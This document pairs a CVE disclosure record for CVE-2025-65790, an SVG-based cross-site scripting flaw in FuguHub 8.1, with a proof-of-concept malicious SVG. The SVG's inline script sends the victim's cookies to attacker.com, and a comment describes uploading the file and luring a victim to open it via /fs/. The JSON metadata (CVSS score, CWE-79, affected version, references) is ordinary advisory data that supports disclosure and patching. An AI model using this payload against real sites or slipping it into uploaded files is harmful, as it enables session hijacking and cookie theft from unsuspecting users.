CVE-2025-65790

<!-- Malicious SVG file for CVE-2025-65790 PoC --> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert('XSS - Cookie Theft POC');document.location='https://attacker.com/steal?cookie='+document.cookie</script> <rect width="100" height="100" fill="red"/> <text x="10" y="50">Click to trigger XSS</text> </svg> <!-- Attack vector: Upload this SVG to FuguHub and trick victim to open it via /fs/ path -->

{"cve": {"id": "CVE-2025-65790", "sourceIdentifier": "[email protected]", "published": "2025-12-22T20:15:44.880", "lastModified": "2026-01-05T16:26:19.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability exists in FuguHub 8.1 when serving SVG files through the /fs/ file manager interface. FuguHub does not sanitize or restrict script execution inside SVG content. When a victim opens a crafted SVG containing an inline <script> element, the browser executes the attacker-controlled JavaScript."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:realtimelogic:fuguhub:8.1:*:*:*:*:windows:*:*", "matchCriteriaId": "CD7B00CD-981A-4940-93F1-C2E3AC084D74"}]}]}], "references": [{"url": "https://fuguhub.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/hunterxxx/FuguHub-8.1-Reflected-SVG-XSS-CVE-2025-65790", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}